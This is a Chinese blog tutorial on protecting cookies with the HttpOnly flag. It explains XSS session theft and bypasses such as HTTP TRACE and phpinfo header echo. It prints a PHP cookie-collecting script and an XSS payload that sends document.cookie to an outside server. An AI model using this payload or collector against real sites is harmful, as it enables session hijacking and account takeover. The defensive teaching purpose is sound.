1. 程式人生 > >使用HttpOnly提升Cookie安全性

使用HttpOnly提升Cookie安全性

一個 連接 說了 write window httponly clas win cookie

在介紹HttpOnly之前,我想跟大家聊聊Cookie及XSS。

隨著B/S的普及,我們平時上網都是依賴於http協議完成,而Http是無狀態的,即同一個會話的連續兩個請求互相不了解,他們由最新實例化的環境進行解析,除了應用本身可能已經存儲在全局對象中的所有信息外,該環境不保存與會話有關的任何信息,http是不會為了下一次連接而維護這次連接所傳輸的信息的。所以為了在每次會話之間傳遞信息,就需要用到cookie和session,無論是什麽,都是為了讓服務器端獲得一個token來檢查合法性,很多時候都是在cookie中存儲一個sessionID,服務器來識別該用戶,那麽安全隱患也就引申而出了,只要獲得這個cookie,就可以取得別人的身份,特別是管理員等高級權限帳號時,危害就大了,而XSS就是在別人的應用程序中惡意執行一段JS以竊取用戶的cookie。

那麽如何獲得Cookie劫持呢?在瀏覽器中的document對象中,就儲存了Cookie的信息,而利用js可以把這裏面的Cookie給取出來,只要得到這個Cookie就可以擁有別人的身份了。下面簡單說說如何竊取cookie。

接收cookie的PHP文件ck.php為:

<?php
$cookie = $_GET[‘c‘];
$ip = getenv (‘REMOTE_ADDR‘);
$time=date("j F, Y, g:i a");
$referer=getenv (‘HTTP_REFERER‘);
$fp = fopen(‘cookie.txt‘, ‘a‘);
fwrite($fp, ‘Cookie: ‘.$cookie.‘<br> IP: ‘ .$ip. ‘<br> Date and Time: ‘ .$time. ‘<br> Referer: ‘.$referer.‘<br><br><br>‘);
fclose($fp);
?>

把這個文件放在自己的服務器上,比如我們搭建的服務器為:http://10.65.21.78:8080 .

那麽構造XSS語句:

<script>window.open(‘http://10.65.21.78:8080/ck.php?c=‘+document.cookie)</script>

當執行script成功時就會把cookie發送到自己的服務器下cookie.txt文件中。XSS攻擊是多麽可怕的事情。

說了這麽多,貌似還沒有提到HttpOnly,這是哪般?莫及!這就到了!如何保障我們的Cookie安全呢?Cookie都是通過document對象獲取的,我們如果能讓cookie在瀏覽器中不可見就可以了,那HttpOnly就是在設置cookie時接受這樣一個參數,一旦被設置,在瀏覽器的document對象中就看不到cookie了。而瀏覽器在瀏覽網頁的時候不受任何影響,因為Cookie會被放在瀏覽器頭中發送出去(包括Ajax的時候),應用程序也一般不會在JS裏操作這些敏感Cookie的,對於一些敏感的Cookie我們采用HttpOnly,對於一些需要在應用程序中用JS操作的cookie我們就不予設置,這樣就保障了Cookie信息的安全也保證了應用。

給瀏覽器設置Cookie的頭如下:

Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]

如果 Cookie 具有 HttpOnly 特性且不能通過客戶端腳本訪問,則為 true;否則為 false。默認值為 false。

但是,也可以看到HttpOnly並不是萬能的,首先它並不能解決XSS的問題,仍然不能抵制一些有耐心的黑客的攻擊,甚至一些基於XSS的proxy也出現了,但是已經可以提高攻擊的門檻了,起碼XSS攻擊不是每個腳本小子都能完成的了,而且其他的那些攻擊手法因為一些環境和技術的限制,並不像Cookie竊取這種手法一樣通用。

HttpOnly也是可能利用一些漏洞或者配置Bypass的,關鍵問題是只要能取到瀏覽器發送的Cookie頭就可以了。譬如以前出現的Http Trace攻擊就可以將你的Header裏的Cookie回顯出來,利用Ajax或者flash就可以完成這種攻擊,這種手法也已經在Ajax和flash中獲得修補。另外一個關於配置或者應用程序上可能Bypass的顯著例子就是phpinfo,大家知道phpinfo會將瀏覽器發送的http頭回顯出來,其中就包括我們保護的auth信息,而這個頁面經常存在在各種站點上,只要用ajax取phpinfo頁面,取出header頭對應的部分就可以獲得Cookie了。一些應用程序的不完善也可能導致header頭的泄露,這種攻擊方式對於基本驗證保護的頁面一樣可以攻擊。

HttpOnly在IE 6以上,Firefox較新版本都得到了比較好的支持,並且在如Hotmail等應用程序裏都有廣泛的使用,並且已經是取得了比較好的安全效果。

那問題就來了,大家想想,HttpOnly 主要是為了限制web頁面程序的browser端script程序讀取cookie, 實際是瀏覽器通過協議實現限制的,黑客可不會那麽傻,肯定不會用HTTP協議來讀取cookie,肯定是在socket層面寫抓包程序,相當於寫一個低於IE6版本的應用程序。

所以,HttpOnly並不是萬能的。

使用HttpOnly提升Cookie安全性